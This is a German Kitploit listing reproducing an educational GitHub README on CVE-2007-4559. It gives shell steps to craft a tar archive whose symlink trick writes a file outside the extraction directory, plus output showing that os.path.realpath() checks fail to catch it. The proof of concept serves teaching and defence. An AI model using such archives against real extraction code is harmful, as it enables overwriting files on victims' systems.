Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2007-4559 — Lehrreiche Demonstration des Python-tarfile-Symlink-Angriffs CVE-2007-4559 mit einem Skript, das zeigt, warum os.path.realpath() nicht verhindert, dass Dateien außerhalb der vorgesehenen Verzeichnisse extrahiert werden. | Kitploit
Tools/GitHubGitHub/davidholiday/cve-2007-4559
Statische AnalyseSchwachstellenanalyseCode-AnalyseExploitationLieferkettensicherheitLernen & Bildung
GitHubdavidholiday/cve-2007-4559

CVE-2007-4559

Lehrreiche Demonstration des Python-tarfile-Symlink-Angriffs CVE-2007-4559 mit einem Skript, das zeigt, warum os.path.realpath() nicht verhindert, dass Dateien außerhalb der vorgesehenen Verzeichnisse extrahiert werden.

Repository anzeigen
127vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Demonstration von CVE-2007-4559

Was ist das?

Dies ist eine Demonstration, wie die standardmäßige Handhabung von tar-Datei-Extraktion in Python vor v3.11.4 anfällig für einen einfachen Symlink-Angriff ist. Die folgenden Anweisungen beschreiben, wie man eine bösartige Nutzlast erstellt. Das Skript untar.py demonstriert, wie und warum die in 3.11.4 hinzugefügten Funktionen funktionieren – insbesondere die Notwendigkeit, vor jedem Schreibvorgang für jede Datei etwas wie os.path.realpath() aufzurufen. Das Skript verwendet genau die gleiche Überprüfungsmethode wie die extraction filter-Funktion in Python >= 3.11.4, ABER es schreibt die Dateien nicht auf die Festplatte. Es zeigt somit, wie os.path.realpath() nicht in der Lage ist, Symlinks korrekt aufzulösen, und daher zulässt, dass tar-Mitglieder außerhalb des beabsichtigten Dateisystemortes geschrieben werden.

Was ist hier?

  • Anweisungen (diese Datei) zur Einrichtung der Sandbox und der bösartigen tar-Datei.

  • Python-Skript untar.py, das das 'Warum' hinter der kürzlichen Implementierung der erweiterten tar-Validierung in der Python-tarfile-Bibliothek demonstriert. Aufgrund der Funktionsweise von os.path.realpath() kann man sich nicht darauf verlassen, Symlinks aufzulösen, es sei denn, diese Links befinden sich bereits im Dateisystem. Das bedeutet, dass man sich nicht allein auf os.path.realpath() verlassen kann, um tar-Mitgliedspfade vor dem Extrahieren des Archivs zu überprüfen. Stattdessen muss man os.path.realpath() vor jedem Schreibvorgang für jedes Mitglied des Archivs aufrufen, um die Erkennung bösartiger Link-Aktivitäten sicherzustellen. Siehe PEP-706 und tarfile-Dokumentation für weitere Informationen.

Umgebung und bösartige tar-Datei erstellen

  1. Testumgebung erstellen
root@kitploit:~
snerd@jess:~$ mkdir -p lab/{lib,target}
  1. ./lib-Ordner zum tar-Archiv hinzufügen
root@kitploit:~
snerd@jess:~$ cd lab
snerd@jess:~/lab$ tar -cvPf terry.tar lib
  1. ./lib-Verzeichnis durch einen Symlink mit demselben Namen auf '.' ersetzen
root@kitploit:~
snerd@jess:~/lab$ rm -rf lib
snerd@jess:~/lab$ ln -s . lib
  1. Symlink 'lib' zum Archiv hinzufügen
root@kitploit:~
snerd@jess:~/lab$ tar -rvPf terry.tar lib
  1. Symlink 'lib' durch Verzeichnis und Datei ersetzen
root@kitploit:~
snerd@jess:~/lab$ rm lib
snerd@jess:~/lab$ mkdir -p lib/lib
snerd@jess:~/lab$ touch lib/dangerous_file
  1. Datei mit relativem Pfad zum Archiv hinzufügen
root@kitploit:~
snerd@jess:~/lab$ tar -rPvf terry.tar lib/lib/../dangerous_file
  1. tar in das Zielverzeichnis kopieren
root@kitploit:~
snerd@jess:~/lab$ cp terry.tar target/
snerd@jess:~/lab$ cd target/
  1. tar entpacken. 'dangerous_file' wurde außerhalb des Zielverzeichnisses entpackt
root@kitploit:~
snerd@jess:~/lab/target$ tar -xPvf terry.tar 
lib/
lib
lib/lib/../dangerous_file
snerd@jess:~/lab/target$ ls
lib  terry.tar
snerd@jess:~/lab/target$ ls ../
dangerous_file  lib  target  terry.tar

Python-Skript verwenden

  1. Laden Sie untar.py aus diesem Repository herunter und legen Sie es im Verzeichnis ./lab ab

  2. Führen Sie das Skript aus. Beachten Sie, wie einfach es ist, os.path.realpath() zu täuschen, wenn der bösartige Symlink noch nicht auf das Ziel-Dateisystem geschrieben wurde.

root@kitploit:~
snerd@jess:~/lab$ python3 untar.py 
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib/lib/../dangerous_file
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib/dangerous_file
is_tarslip? False
-*-*-*-*-

Weiterführende Literatur

  • [Python-Dev] tarfile und Directory Traversal-Schwachstelle

  • Warnung: 15 Jahre alter Python-tarfile-Fehler lauert in 'über 350.000' Code-Projekten

  • SO-Beitrag zum sicheren Extrahieren von tar-Archiven vor den neuen Funktionen von Python 3.11.4

  • Python-Issue 21109

  • 2022 Erklärung des langjährigen [2019 in Ruhestand] Betreuers der tarlib-Bibliothek

  • Implementierung der neuen Extraktionsfilter-Funktion eingeführt in Python 3.11.4

Tool herunterladen